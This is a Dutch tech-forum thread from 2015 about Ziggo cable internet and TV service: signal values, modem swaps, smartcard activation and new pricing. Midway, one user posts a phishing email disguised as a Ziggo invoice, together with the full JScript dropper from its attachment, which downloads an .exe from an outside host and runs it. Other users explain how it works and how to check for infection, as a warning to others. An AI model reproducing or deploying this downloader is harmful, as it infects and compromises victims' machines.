Mooie uitleg! Maar hoe zit het dan voor de download? Hoe gaan ze daar van 200 naar 500. Ik neem aan dat ook niet een kwestie is van een paar kanalen aanzetten die ze jarenlang al hadden maar uit hadden staan :p
Momenteel heeft voormalig Ziggo 16 Internet downstreams per coaxsegment. Elke Internet downstream heeft een capaciteit van ongeveer 51 Mbps. Dus 51 * 16 = 816 Mbps. Ofwel 500 past, maar ik denk niet dat de andere gelijktijdige internetters in hetzelfde coaxsegment daar vrolijk van worden. Uiteraard is bij de downstreams geen sprake van een vrij klein frequentiegebied, maar ook hier geldt dat Ziggo eerst ruimte (per downstream 8 MHz) voor zal moeten creëren in de huidige frequentieplannen van de coaxsegmenten en uiteraard de apparatuur moet hebben die meer downstreams aankunnen.

  • Reloader
  • Registratie: Februari 2006
  • Laatst online: 15-12 13:17
even een vraagje betreffende docsis waarden, is het normaal dat deze verlopen? ik heb namelijk het idee dat ze bij mijn verbinding heel stabiel zijn echter zit ik nu bij een kennis en het valt me op dat ze wat verlopen. daarnaast klaagt hij ook van een niet echt stabiele verbinding (zo af en toe is het IP adres weg uit het modem en dan na een paar tellen komt dat weer terug)

het betreft een Cisco modem, afgelopen winter is er een nieuwe coaxkabel in de woning gelegd omdat de oude zeer slecht was dit heeft wel het signaal verbeterd (vooral Tv) maar de internetverbinding blijft wat onstabiel.

waardoor verlopen de docsis waarden?

Verwijderd

Reloader schreef op zaterdag 11 april 2015 @ 14:36:
even een vraagje betreffende docsis waarden, is het normaal dat deze verlopen? ik heb namelijk het idee dat ze bij mijn verbinding heel stabiel zijn echter zit ik nu bij een kennis en het valt me op dat ze wat verlopen. daarnaast klaagt hij ook van een niet echt stabiele verbinding (zo af en toe is het IP adres weg uit het modem en dan na een paar tellen komt dat weer terug)

het betreft een Cisco modem, afgelopen winter is er een nieuwe coaxkabel in de woning gelegd omdat de oude zeer slecht was dit heeft wel het signaal verbeterd (vooral Tv) maar de internetverbinding blijft wat onstabiel.

waardoor verlopen de docsis waarden?
Wat voor Cisco modem?

  • Timmert
  • Registratie: December 2000
  • Niet online

Timmert

Dipstick

Reloader schreef op zaterdag 11 april 2015 @ 14:36:
even een vraagje betreffende docsis waarden, is het normaal dat deze verlopen? ik heb namelijk het idee dat ze bij mijn verbinding heel stabiel zijn echter zit ik nu bij een kennis en het valt me op dat ze wat verlopen. daarnaast klaagt hij ook van een niet echt stabiele verbinding (zo af en toe is het IP adres weg uit het modem en dan na een paar tellen komt dat weer terug)

het betreft een Cisco modem, afgelopen winter is er een nieuwe coaxkabel in de woning gelegd omdat de oude zeer slecht was dit heeft wel het signaal verbeterd (vooral Tv) maar de internetverbinding blijft wat onstabiel.

waardoor verlopen de docsis waarden?
Kan zijn dat het AOP wat slecht is. Wegvallen van het Cisco modem kan ook nog de firmware als oorzaak hebben. Probeer sowieso UPNP even uit te zetten en draai de modemkabel even aan (aan beide zijden).

  • Reloader
  • Registratie: Februari 2006
  • Laatst online: 15-12 13:17
het betreft een EPC3928AD

het AOP is nieuw

  • Timmert
  • Registratie: December 2000
  • Niet online

Timmert

Dipstick

Dat zegt nog niet zoveel, een nieuw AOP kan ook defect of slecht gemonteerd zijn.
Probeer in ieder geval even de modemkabel vast te zetten, dat scheelt misschien al wat.

Verwijderd

Reloader schreef op zaterdag 11 april 2015 @ 14:40:
het betreft een EPC3928AD

het AOP is nieuw
Door een firmware update kan de verbinding echt heel erg instabiel zijn, zoals hierboven als is aangegeven zet UPNP eens uit.

  • Reloader
  • Registratie: Februari 2006
  • Laatst online: 15-12 13:17
ik bedoelde meer dat het gemonteerd is door ziggo en dat in principe de signaal waarden mij wel in orde lijken alleen verlopen ze af en toe, nu is het verloop over het laatste half uur

code:
1
2
3
4
5
6
7
8
Channel 1:  -2.0 dBmV   40.4 dB
Channel 2:  -1.9 dBmV   40.4 dB
Channel 3:  -2.1 dBmV   40.3 dB
Channel 4:  -2.1 dBmV   40.2 dB
Channel 5:  -1.8 dBmV   40.3 dB
Channel 6:  -1.7 dBmV   39.2 dB
Channel 7:  -1.3 dBmV   40.3 dB
Channel 8:  -1.1 dBmV   40.3 dB


af en toe verspringt er een waarde met maximaal .5 dB of .5 Mv

heb echte grote pieken nog niet gezien maar zou niet weten waarom het modem anders over de kop gaat

code:
1
2
3
4
5
6
7
8
9
10
11
12
Model:  Cisco EPC3928AD
Vendor: Cisco
Hardware Revision:  1.0
Serial Number:  270324123
MAC Address:    08:80:39:d2:8f:ba
Bootloader Revision:    2.4.0beta3_R4
Current Software Revision:  epc3928a-E10-5-v302r125572-131030c-ZIG
Firmware Name:  epc3928a-E10-5-v302r125572-131030c-ZIG.bin
Firmware Build Time:    Oct 30 11:00:08 2013
Cable Modem Status: Operational
Wireless Network:   Enable
System Uptime:  54 days 01h:26m:12s



UPNP staat al uit:)

[ Voor 27% gewijzigd door Reloader op 11-04-2015 14:47 ]


Verwijderd

Reloader schreef op zaterdag 11 april 2015 @ 14:46:
ik bedoelde meer dat het gemonteerd is door ziggo en dat in principe de signaal waarden mij wel in orde lijken alleen verlopen ze af en toe, nu is het verloop over het laatste half uur

code:
1
2
3
4
5
6
7
8
Channel 1:  -2.0 dBmV   40.4 dB
Channel 2:  -1.9 dBmV   40.4 dB
Channel 3:  -2.1 dBmV   40.3 dB
Channel 4:  -2.1 dBmV   40.2 dB
Channel 5:  -1.8 dBmV   40.3 dB
Channel 6:  -1.7 dBmV   39.2 dB
Channel 7:  -1.3 dBmV   40.3 dB
Channel 8:  -1.1 dBmV   40.3 dB


af en toe verspringt er een waarde met maximaal .5 dB of .5 Mv

heb echte grote pieken nog niet gezien maar zou niet weten waarom het modem anders over de kop gaat

code:
1
2
3
4
5
6
7
8
9
10
11
12
Model:  Cisco EPC3928AD
Vendor: Cisco
Hardware Revision:  1.0
Serial Number:  270324123
MAC Address:    08:80:39:d2:8f:ba
Bootloader Revision:    2.4.0beta3_R4
Current Software Revision:  epc3928a-E10-5-v302r125572-131030c-ZIG
Firmware Name:  epc3928a-E10-5-v302r125572-131030c-ZIG.bin
Firmware Build Time:    Oct 30 11:00:08 2013
Cable Modem Status: Operational
Wireless Network:   Enable
System Uptime:  54 days 01h:26m:12s



UPNP staat al uit:)
Haal je modem eens 10 seconden van het stroom af.

  • jongetje
  • Registratie: Maart 2002
  • Laatst online: 13:03
Super service van Ziggo. Gisterochtend nieuw modem aangevraagd (vanwege upgrade van mijn Z1) en staat nu al te draaien in bridge modus.

  • MrPompidom
  • Registratie: April 2008
  • Laatst online: 12-10 15:58
Hier een iets minder goede service, al was de monteur heel vriendelijk en behulpzaam;

Ik heb klachten betreffende het wegvallen van de internet verbinding. Zeer geregeld heb ik time-outs, waarbij zaken als RDP , IRC en teamviewer heel kort de verbinding verliezen.

Monteur heeft modem vervangen ( voor wéér een ubee 321) kabels vervangen daar waar nodig. Al lagen er al zeer goede kabels.
Modem staat in bridge, en ook met de pc direct op de ubee nog steeds problemen.

Helaas had de monteur geen technicolor modem beschikbaar.

Maandag maar weer bellen...

  • Volkert
  • Registratie: Oktober 2007
  • Laatst online: 11-10 09:54
Even een vraagje: Ik had ooit zo'n hele lange en dunne Ziggo UTP-kabel met maar 4 draadjes erin (max 100Mbps=OK).

Waar kun je die kopen? Ik kom ze helemaal nergens tegen in de losse verkoop.

  • Nox
  • Registratie: Maart 2004
  • Laatst online: 10:33

Nox

Noxiuz

Niet om het een of ander, maar waarom gebruik je geen normale kabel? Je probleem is me niet duidelijk dus is een oplossing ook niet te bieden.

Overlever van KampeerMeet 4.1
"Als David Attenborough een film van jou zou moeten maken zou hij het moeilijk krijgen." - TDW


  • CAPSLOCK2000
  • Registratie: Februari 2003
  • Laatst online: 14-12 17:53

CAPSLOCK2000

zie teletekst pagina 888

Volkert schreef op zondag 12 april 2015 @ 13:31:
Even een vraagje: Ik had ooit zo'n hele lange en dunne Ziggo UTP-kabel met maar 4 draadjes erin (max 100Mbps=OK).

Waar kun je die kopen? Ik kom ze helemaal nergens tegen in de losse verkoop.
Dat klinkt als telefoonkabel.

This post is warranted for the full amount you paid me for it.


Verwijderd

Volkert schreef op zondag 12 april 2015 @ 13:31:
Even een vraagje: Ik had ooit zo'n hele lange en dunne Ziggo UTP-kabel met maar 4 draadjes erin (max 100Mbps=OK).

Waar kun je die kopen? Ik kom ze helemaal nergens tegen in de losse verkoop.
Waarom zou je deze nog willen hebben?

  • Mentalist
  • Registratie: Oktober 2001
  • Laatst online: 12:11
Mijn moeder was er eigenlijk al ingetrapt, maar had de bijlage gelukkig over het hoofd gezien.

Nepmail!
Ziggo
Klik hier om de online factuur te bekijken <https://www.dropbox.com/s/x6t9psnjn10aht6/factuur11047.zip?dl=1>.
Ziggo <http://ziggo.ziggo.mailplus.nl/nct2231782/HCkZrNfTLJzx333-141987>

Openstaande facturen

Geachte heer, mevrouw,

Tot onze spijt heeft u, ondanks eerder(e) verzoek(en), onze openstaande vordering nog niet voldaan. Hiervoor heeft u inmiddels ruimschoots de tijd gehad. U bent op dit moment met
betaling in verzuim.

Het is mogelijk dat deze brief uw betaling gekruist heeft. In dat geval bieden wij u onze
verontschuldiging aan en mag u deze brief als niet verzonden beschouwen. Indien u nog niet betaald heeft, bieden wij u alsnog de gelegenheid om aan uw verplichting te voldoen.

Wij stellen u nog 14 dagen in de gelegenheid om het verschuldigde bedrag te betalen op
bankrekening RABONL2U NL77RABO 0115856730 t.n.v. Ziggo. Voor een specificatie van de
vordering verwijzen wij u naar de bijlage <https://www.dropbox.com/s/x6t9psnjn10aht6/factuur11047.zip?dl=1>.

Mochten wij uw betaling niet binnen de gestelde termijn ontvangen, dan maken wij aanspraak op
vergoeding van kosten. Naast de in bijlage <https://www.dropbox.com/s/x6t9psnjn10aht6/factuur11047.zip?dl=1> genoemde hoofdsom bent u dan incassokosten
verschuldigd.

De incassokosten zullen ?40,00 bedragen.

Na de eerder genoemde 14 dagen zal de vordering als incasso behandeld worden en komen de
daarbij behorende kosten geheel voor uw rekening. Wij zullen onze vordering uit handen geven aan
Bos Incasso.

Wij hopen echter dat u voor een tijdige betaling zorgt en dat hiermee de incassomaatregelen
achterwege kunnen blijven.

Met vriendelijke groet,
Ziggo
Dropbox link is gelukkig al dood.

Er zit ook een echte bijlage bij de mail, factuur11047.zip. Daarin zit factuur11047.js. Daarin staat:
code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function factuur(fr) {
    var b = "milgayaa.com"
    var c = "/muzzo"
    var d = ".e"
    var e = "xe"
    for (var i = 0; i < b.length; i++) {
        var ws = new ActiveXObject("WScript.Shell");
        var fn = ws.ExpandEnvironmentStrings("%APPDATA%") + String.fromCharCode(92) + Math.round(Math.random() * 100000000) + "" + d + "" + e + "";
        var dn = 0;
        var xo = new ActiveXObject("MSXML2.XMLHTTP");
        xo.onreadystatechange = function() {
            if (xo.readyState == 4 && xo.status == 200) {
                var xa = new ActiveXObject("ADODB.Stream");
                xa.open();
                xa.type = 1;
                xa.write(xo.ResponseBody);
                if (xa.size > 5000) {
                    dn = 1;
                    xa.position = 0;
                    xa.saveToFile(fn, 2); 
                    try {
                        ws.Run(fn, 1, 0);
                    } catch (er) {};
                };
                xa.close();
            };
        };
        try {
            xo.open("GET", "http://" + b + "" + c + "" + d + "" + e + "", false);
            xo.send();
        } catch (er) {};
        if (dn == 1) break;
    }
};
factuur(6151);

Ik weet niet wat het doet, maar het is vast niet leuk. :/ Ohja, geen enkele virusscanner kan dit detecteren. (http://virusscan.jotti.org/en iig niet)

[edit]Hmm, ik gok dat hij milgayaa.com/muzzo.exe zal proberen te downloaden (bestaat!) en uit te voeren?

[edit]
Volledige mail met headers: http://members.ziggo.nl/sinaasappel/virus_ziggo_mail

[ Voor 4% gewijzigd door Mentalist op 12-04-2015 21:18 ]

Verstuurd vanaf mijn Computer®

Het downloadt dat en slaat het op als %APPDATA%\[random getal].exe. Daarna probeert het het uit te voeren. Als je dus bent gegrepen door deze malloot kun je dat checken door te kijken of er in %APPDATA% (Windows-toets + R indrukken, dan %APPDATA% intoetsen) een programmabestand staat met een random getal als naam.

Maybe dit ook even bij Ziggo zelf neerleggen? Dan kunnen ze er wellicht een waarschuwing uit doen.

  • Mentalist
  • Registratie: Oktober 2001
  • Laatst online: 12:11
Jerrythafast schreef op zondag 12 april 2015 @ 20:30:
Het downloadt dat en slaat het op als %APPDATA%\[random getal].exe. Daarna probeert het het uit te voeren. Als je dus bent gegrepen door deze malloot kun je dat checken door te kijken of er in %APPDATA% (Windows-toets + R indrukken, dan %APPDATA% intoetsen) een programmabestand staat met een random getal als naam.
ik heb geen idee hoe ik dat moet checken op een Linux distro. Er staat wel wine op maar ik gok dat dit virus niet compatible zal zijn. Ik weet niet waar wine %APPDATA% opslaat. (ik zou niet eens weten waar het bij Windows naar verwijst)
Maybe dit ook even bij Ziggo zelf neerleggen? Dan kunnen ze er wellicht een waarschuwing uit doen.
https://twitter.com/W3ird_N3rd/status/587322355552280576

Verstuurd vanaf mijn Computer®


  • rick77
  • Registratie: Januari 2004
  • Laatst online: 08:02

rick77

... get to the point!

Het is een environment variable. Als je "cd %appdata%" in een command prompt tikt weet je naar welke directory het verwijst.

[ Voor 58% gewijzigd door rick77 op 12-04-2015 20:37 ]

Op Linux ben je niet vatbaar hiervoor, tenzij je daadwerkelijk dat script laat uitvoeren door JScript of Internet Explorer in Wine. Standaard verwijst %APPDATA% op Windows 7 naar C:\Users\[gebruiker]\AppData\Roaming.

  • Mentalist
  • Registratie: Oktober 2001
  • Laatst online: 12:11
rick77 schreef op zondag 12 april 2015 @ 20:36:
Het is een environment variable. Als je "cd %appdata%" in een command prompt tikt weet je naar welke directory het verwijst.
"wine cmd" geeft een prompt en cd %APPDATA% gaat naar c:\users\gebruikersnaam\Application Data. De inhoud daarvan is terug te vinden in /home/gebruikersnaam/.wine/drive_c/users/gebruikersnaam/Application Data. Er staat geen executable in. :)
Jerrythafast schreef op zondag 12 april 2015 @ 20:38:
Op Linux ben je niet vatbaar hiervoor, tenzij je daadwerkelijk dat script laat uitvoeren door JScript of Internet Explorer in Wine. Standaard verwijst %APPDATA% op Windows 7 naar C:\Users\[gebruiker]\AppData\Roaming.
.js bestanden worden standaard alleen maar in leafpad (teksteditor) geopend (net getest), dus hier alles goed. Maar dit kan best naar zijn als je Windows gebruikt. Ik weet niet zeker hoe het was geweest als de .js niet in een .zip had gezeten, al gok ik dat niet-IE browsers dat hele ActiveX gedoe (dat zal wel gebruikt worden voor het uitvoeren?) overslaan.

[ Voor 9% gewijzigd door Mentalist op 12-04-2015 21:01 ]

Verstuurd vanaf mijn Computer®


  • Tackleberry
  • Registratie: November 2000
  • Laatst online: 14-12 20:00
Gisteravond laat besloten om voor vijf euro een maand Sport 1 af te sluiten. Na een kwartier werkte het, gecontroleerd op de tv boven. Echter toen ik 's ochtends beneden de tv aanzette, kwam er doodleuk een melding dat de zender geen onderdeel uitmaakt van mijn abonnement. Tijdje terug al eens gehad met het bestellen van een losse voetbalwedstrijd op FOX Sports Eredivisie.

Gelukkig was de helpdesk om 8:00 bereikbaar en hebben ze om 8:05 een nieuwe activatie gedaan voor de smartcard en kon ik vanaf de tweede ronde de Grand Prix van China bekijken in HD. Volgende keer maar voor de zekerheid de controle op de tv beneden doen... (of eigenlijk zou dit niet voor mogen komen)

  • Koekenbakkertje
  • Registratie: Januari 2015
  • Laatst online: 11-03 20:36
Tackleberry schreef op zondag 12 april 2015 @ 21:48:
Gisteravond laat besloten om voor vijf euro een maand Sport 1 af te sluiten. Na een kwartier werkte het, gecontroleerd op de tv boven. Echter toen ik 's ochtends beneden de tv aanzette, kwam er doodleuk een melding dat de zender geen onderdeel uitmaakt van mijn abonnement. Tijdje terug al eens gehad met het bestellen van een losse voetbalwedstrijd op FOX Sports Eredivisie.

Gelukkig was de helpdesk om 8:00 bereikbaar en hebben ze om 8:05 een nieuwe activatie gedaan voor de smartcard en kon ik vanaf de tweede ronde de Grand Prix van China bekijken in HD. Volgende keer maar voor de zekerheid de controle op de tv beneden doen... (of eigenlijk zou dit niet voor mogen komen)
Hoi Tekkel :W je kan vanuit mijn ziggo ook een herstel doen van je smartcard ;-) dan heb je het ook weer. Scheelt je op zondagochtend een belletje

[ Voor 73% gewijzigd door Koekenbakkertje op 12-04-2015 21:54 ]

Koekenbakkertje schreef op zondag 12 april 2015 @ 21:53:
[...]


Hoi Tekkel :W je kan vanuit mijn ziggo ook een herstel doen van je smartcard ;-) dan heb je het ook weer. Scheelt je op zondagochtend een belletje
Meen gelezen te hebben dat dat soms wel eens niet lukt en dat je dan beter het 0900 nummer kan bellen om de kaart te resetten.

Is niet het 0900 nummer van de helpdesk, maar weet nummer zo even niet ;)

2250 WP Zuid PVoutput


  • Koekenbakkertje
  • Registratie: Januari 2015
  • Laatst online: 11-03 20:36
0900 20 20 000

  • VAnTurenhout
  • Registratie: September 2004
  • Laatst online: 09-02-2024
Sinds een tijdje (ik denk sinds 1 april) heb ik op alle Nederlandse zenders (RTL 4,5,6 en SBS) het probleem dat het beeld een fractie van een seconde stoort, en daarbij ook een fractie van een seconde het geluid wegvalt.

Er is niets veranderd aan de opstellingen. Op de andere TV's in huis geen problemen (voor zover ik dat gezien heb, het is niet constant namelijk. Zo kan het een uur of wat goed gaan, en zo ineens een paar keer in een half uur)
De TV waar het gebeurt hangt achter de Samsung Ct7140, die ik onlangs ook gereset heb, omdat deze bij het zappen een groen beeld en storing gaf, en daarna weer gewoon beeld gaf. Dat was verholpen na de reset (lijtk het)

  • sphere
  • Registratie: Juli 2003
  • Laatst online: 07:36

sphere

Debian abuser

jongetje schreef op zaterdag 11 april 2015 @ 15:41:
Super service van Ziggo. Gisterochtend nieuw modem aangevraagd (vanwege upgrade van mijn Z1) en staat nu al te draaien in bridge modus.
Wow?

Eerst gebeld, eindeloos in de wacht zonder wachtrij indicatie vervolgens chat geprobeerd die wilde geen modem sturen maar eerst "technische analyse" en toen maar het contract formulier ingevuld. Vraag me af hoe lang het duurt.

Ohja ook twee Sony tv's in huis, beide met problemen met CAM authenticate. Blargh. Denk serieus aan overstappen.

http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454


  • dejong12
  • Registratie: November 2009
  • Laatst online: 13-12 14:55
Wij hadden al tijden problemen met het modem maar Ziggo weigerde een nieuwe te sturen.

  • Tackleberry
  • Registratie: November 2000
  • Laatst online: 14-12 20:00
Koekenbakkertje schreef op zondag 12 april 2015 @ 21:53:
Hoi Tekkel :W je kan vanuit mijn ziggo ook een herstel doen van je smartcard ;-) dan heb je het ook weer. Scheelt je op zondagochtend een belletje
Vreemd dat ze dat zelf niet aangeven bij de helpdesk, bespaart hen ook weer werk. Zal het voor de volgende keer onthouden. :)

(typisch dat Mijn Ziggo nu offline is, wilde die optie even bekijken :P)

  • Mentalist
  • Registratie: Oktober 2001
  • Laatst online: 12:11
Tackleberry schreef op zondag 12 april 2015 @ 21:48:
Gisteravond laat besloten om voor vijf euro een maand Sport 1 af te sluiten. Na een kwartier werkte het, gecontroleerd op de tv boven. Echter toen ik 's ochtends beneden de tv aanzette, kwam er doodleuk een melding dat de zender geen onderdeel uitmaakt van mijn abonnement. Tijdje terug al eens gehad met het bestellen van een losse voetbalwedstrijd op FOX Sports Eredivisie.

Gelukkig was de helpdesk om 8:00 bereikbaar en hebben ze om 8:05 een nieuwe activatie gedaan voor de smartcard en kon ik vanaf de tweede ronde de Grand Prix van China bekijken in HD. Volgende keer maar voor de zekerheid de controle op de tv beneden doen... (of eigenlijk zou dit niet voor mogen komen)
Dit lijkt me normaal, de smartcard beneden heeft het nieuwe pakket nog niet ontvangen. Als de TV een uurtje aanstaat dan zal ie het nieuwe pakket wèl hebben.

Op het moment van het activeren van het nieuwe pakket zal er ook direct een signaal worden meegezonden om de smartcards van het nieuwe pakket te voorzien, als op dat moment al je TV's aanstaan gaat het dus ook goed.

Verstuurd vanaf mijn Computer®


  • Koekenbakkertje
  • Registratie: Januari 2015
  • Laatst online: 11-03 20:36
Tackleberry schreef op zondag 12 april 2015 @ 23:42:
[...]

Vreemd dat ze dat zelf niet aangeven bij de helpdesk, bespaart hen ook weer werk. Zal het voor de volgende keer onthouden. :)

(typisch dat Mijn Ziggo nu offline is, wilde die optie even bekijken :P)
Op de site vinden werkzaamheden plaats ivm overgang

  • menalert
  • Registratie: Oktober 2010
  • Laatst online: 15-12 19:19
Daar gaan we de Extra Voorwaarden vanaf 13 april 2015: https://www.ziggo.nl/cont...rwaarden%20Ziggo%20BV.pdf

Ook prijsverhogingen voor de nieuwe abonnementen.

Het belangrijkste:

Bij een Abonnement op Horizon TV
Als je een Horizon TV-Abonnement hebt dan lenen we je maximaal het volgende aantal Mediaboxen specifiek voor Horizon TV uit:
1 Horizon Mediabox
2 Horizon Extra Mediabox
Daarnaast mag je nog maximaal het volgende extra in bruikleen bestellen:
2 Extra Standaard Mediaboxen of
2 CI+ modules of
1 Extra Standaard Mediabox en 1 CI+ module

en

Als je zelf apparatuur hebt aangeschaft en je maakt gebruik van onze Smartcards die uitgegeven zijn voor 13 april 2015, dan blijven we die ondersteunen. Behalve als je verhuist naar het gebied waar Ziggo voor 13 april 2015 UPC heette. Dan kan je onze smartcard niet meer blijven gebruiken met je eigen apparatuur. Losse Smartcards zijn niet meer verkrijgbaar vanaf 13 april 2015.
2. Als je overstapt naar een Abonnement op Digitale TV waarvoor je een Mediabox krijgt, dan mag het totaal van onze Mediaboxen samen met het aantal losse Smartcards voor je eigen Digitale Ontvanger, niet boven de 5 komen. Gebeurt dit wel, dan beslis jij welke Smartcard wij deactiveren. Je kunt met die apparatuur nog wel gebruik maken van Kabel TV.

[ Voor 88% gewijzigd door menalert op 13-04-2015 00:37 ]


  • dejong12
  • Registratie: November 2009
  • Laatst online: 13-12 14:55
Net geprobeerd om in te loggen op horizon.tv en dat lukte. Het woord Ziggo wordt er nu ook overal genoemd. Het enige puntje is dat er niets staat bij TV KIJKEN en als je op die menulink klikt, dan laat hij geen zenders zien. Ook in de app (op iOS) laat hij geen tv zenders zien.

[ Voor 10% gewijzigd door dejong12 op 13-04-2015 00:54 ]


  • TexMex
  • Registratie: Februari 2004
  • Niet online
Zo te zien zijn er ook geen losse internet abonnementen meer af te sluiten. Zonde!

  • Mentalist
  • Registratie: Oktober 2001
  • Laatst online: 12:11
TexMex schreef op maandag 13 april 2015 @ 01:09:
Zo te zien zijn er ook geen losse internet abonnementen meer af te sluiten. Zonde!
Hoe weet je dat? De site van Ziggo doet het helemaal niet hier. Ik kon 10 minuten terug nèt de homepage inladen en daar staan links naar https://www.ziggo.nl/alles-in-1/start/ en https://www.ziggo.nl/tv-internet/start/. Van beiden is er een start, complete en max variant. Alleen kan ik verder dus niks zien want ik heb alleen de homepage.

Verstuurd vanaf mijn Computer®


  • Koekenbakkertje
  • Registratie: Januari 2015
  • Laatst online: 11-03 20:36
TexMex schreef op maandag 13 april 2015 @ 01:09:
Zo te zien zijn er ook geen losse internet abonnementen meer af te sluiten. Zonde!
Jawel internet complete voor 49,95 120mb/s
en internet max voor 53,95 200 mb/s inclusief kabel tv

  • TexMex
  • Registratie: Februari 2004
  • Niet online
Koekenbakkertje schreef op maandag 13 april 2015 @ 01:18:
[...]

Jawel internet complete voor 49,95 120mb/s
en internet max voor 53,95 200 mb/s inclusief kabel tv
Ah, OK. Die had ik nog niet gezien. De site lijkt nu weer te werken.

[ Voor 72% gewijzigd door TexMex op 13-04-2015 01:22 ]


  • Mentalist
  • Registratie: Oktober 2001
  • Laatst online: 12:11
TexMex schreef op maandag 13 april 2015 @ 01:19:
[...]

Ah, OK. Die had ik nog niet gezien. De site lijkt nu weer te werken.
Je eerdere bericht:
Alle internet-pakketten die ik zag waren op zijn minst in combinatie met TV Standaard (inclusief mediabox). Een los internet-abonnement met alleen de ongecodeerde TV-zenders (zoals ik dat nu via UPC heb) ben ik nog niet tegengekomen. De site werd inderdaad al snel weer ontoegankelijk, dus misschien staat het alsnog ergens goed verborgen.
Ah, dat was me dus niet duidelijk. Ik dacht dat je bedoelde zonder telefonie. TV(mediabox)+internet is trouwens maar €1,45/maand goedkoper dan Alles-in-1. :|
Koekenbakkertje schreef op maandag 13 april 2015 @ 01:18:
[...]

Jawel internet complete voor 49,95 120mb/s
en internet max voor 53,95 200 mb/s inclusief kabel tv
Hoe kom je daaraan?

Verstuurd vanaf mijn Computer®


  • TexMex
  • Registratie: Februari 2004
  • Niet online
Dat was inderdaad mijn eerdere bericht. De prijzen die Koekenbakkertje noemt, ben ik ook nog niet tegengekomen.

  • Koekenbakkertje
  • Registratie: Januari 2015
  • Laatst online: 11-03 20:36
Ik ook niet meer denk dat ik verkeerd heb staan kijken

  • Koekenbakkertje
  • Registratie: Januari 2015
  • Laatst online: 11-03 20:36
Lijken me haast de prijzen zonder de 18 euro 'kabel' kosten die ik had staan uitrekenen mijn excuses :+

[ Voor 27% gewijzigd door Koekenbakkertje op 13-04-2015 01:43 ]


  • SebasFM
  • Registratie: Maart 2004
  • Laatst online: 15-12 18:02

SebasFM

BOFH

Zakelijk kan je nog wel zonder tv bestellen en dan zijn de uploadsnelheden ook meteen een stuk hoger.

  • Mentalist
  • Registratie: Oktober 2001
  • Laatst online: 12:11
ARGH!

Ik heb in febuari 2x of 3x telefonie opgezegd, zowel online als telefonisch. Per ~20 maart had ik over moeten zijn op TV+internet in plaats van Ai1. Denk je, dat zit toch goed dan!

Kijk ik nu op de factuur: nee hoor! Gewoon weer Ai1 factureren van 1 april tot 1 mei! :'( Het gaat me niet eens om die paar pleuro maar ik moet er wéér achteraan. :/

Verstuurd vanaf mijn Computer®


  • OMX2000
  • Registratie: Januari 2001
  • Laatst online: 10:42

OMX2000

By any means necessary...

Iets zegt me dat het onhandig is geweest om in de nacht dat Game of Thrones start je systemen onder handen te nemen. Ik wilde gisteren een HBO pakket toevoegen, maar jammer en helaas lag alles plat. Webcare zou me helpen maar gaven niet thuis.

Dè developers podcast in je moerstaal : CodeKlets Podcast


  • jongetje
  • Registratie: Maart 2002
  • Laatst online: 13:03
sphere schreef op zondag 12 april 2015 @ 22:09:
[...]

Wow?

Eerst gebeld, eindeloos in de wacht zonder wachtrij indicatie vervolgens chat geprobeerd die wilde geen modem sturen maar eerst "technische analyse" en toen maar het contract formulier ingevuld. Vraag me af hoe lang het duurt.

Ohja ook twee Sony tv's in huis, beide met problemen met CAM authenticate. Blargh. Denk serieus aan overstappen.
Weet je zeker dat je Ziggo heb gebeld (1200, optie1, optie 3)? Ik heb al 3 keer gebeld voor verschillende mensen en elke keer netjes geholpen en wachtrij melding na het keuzemenu. Ze checken wat voor modem je hebt en als ze zien dat je nu een docsis2 hebt en er werd direct een nieuw modem, zonder verdere vragen, gestuurd. Vreemd dat jij totaal andere ervaringen hebt.

De chat kan je idd niet helpen, die zijn voor sales.

  • sphere
  • Registratie: Juli 2003
  • Laatst online: 07:36

sphere

Debian abuser

Ik had gebeld naar 0900-1884 maar dat mag geen verschil maken.

http://stackoverflow.com/questions/1732348/regex-match-open-tags-except-xhtml-self-contained-tags/1732454#1732454


  • SMSfreakie
  • Registratie: Maart 2004
  • Niet online
handig dat de horion go app wel werkt itt tot de ziggo app....

Eindelijk weer tv kijken op de geroote galaxy s5

404 Signature not found


  • Wolly
  • Registratie: Januari 2001
  • Niet online
sphere schreef op zondag 12 april 2015 @ 22:09:
[...]
Ohja ook twee Sony tv's in huis, beide met problemen met CAM authenticate. Blargh. Denk serieus aan overstappen.
Heb hier ook last van gehad bij één tv, uiteindelijk heeft Ziggo de nieuwe 1.3 module aan mij vergoed (zonder randvoorwaarden).

  • la_fusion
  • Registratie: Maart 2007
  • Laatst online: 12:34
Gisteren probeerde ik bij mijn vriendin een router aan te sluiten op haar Ubee evw321b router en daarbij kwam naar voren dat de LAN poorten stuk lijken te zijn. Het lampje van LAN1 is groen en het lampje van LAN2 is blauw terwijl er geen kabels op aangesloten zijn. Ook gaan er geen lampjes branden als er wel een kabel op 1 van de poorten wordt aangesloten. De netwerkkabel is in orde want daar heb ik de nieuwe router eerst nog met geconfigureerd. Een reset van de Ubee leverde niets op. Nu wilde ik hiervoor contact opnemen met Ziggo, aangezien het apparaat waarschijnlijk deels stuk is, en dat wilde ik doen via de webchat. Ik kan echter de link niet vinden. Is deze service weg of enkel beschikbaar vanaf een Ziggo connectie.

Mochten er andere zijn met hetzelfde probleem en een oplossing hebben, hoor ik dat natuurlijk ook graag ;)

  • dejong12
  • Registratie: November 2009
  • Laatst online: 13-12 14:55
SMSfreakie schreef op maandag 13 april 2015 @ 08:20:
handig dat de horion go app wel werkt itt tot de ziggo app....

Eindelijk weer tv kijken op de geroote galaxy s5
Erg handig ja, ik krijg ook een melding dat mijn iPhone gejailbreaked is en dat ik daarom geen zenders kan zien, maar als ik op play druk werken ze alsnog. :D

  • THE_BASE
  • Registratie: Januari 2004
  • Niet online
Ik heb nu Ziggo Z2 + TV. Mooi dat ik die niet ga wijzigen, dan zou ik 59,95 euro betalen in plaats van nu rond de 49,95 euro. Overigens vraag ik mij af: kan ik nu alle diensten van Horizon.tv gebruiken online en via applicatie zonder Mediabox?

Ik heb een prima Humax, dus wil die gewoon houden, maar de diensten online kunnen nog wel eens handig zijn. :)

KIA EV3 GT-Line LR  iPhone 17 Pro  MacBook Air M4  iMac M4  iPad mini 6  Watch Series 10  TV 4K HDR  AirPods Pro 2 & Max


  • Koekenbakkertje
  • Registratie: Januari 2015
  • Laatst online: 11-03 20:36
Tv + Z2 is 52,50 maar inderdaad de kosten gaan omhoog.
Als het goed is kun je inderdaad van horizon.tv gebruik maken. Je hoeft ook niet over naar ander portfolio. Je zou wel gek zijn :D

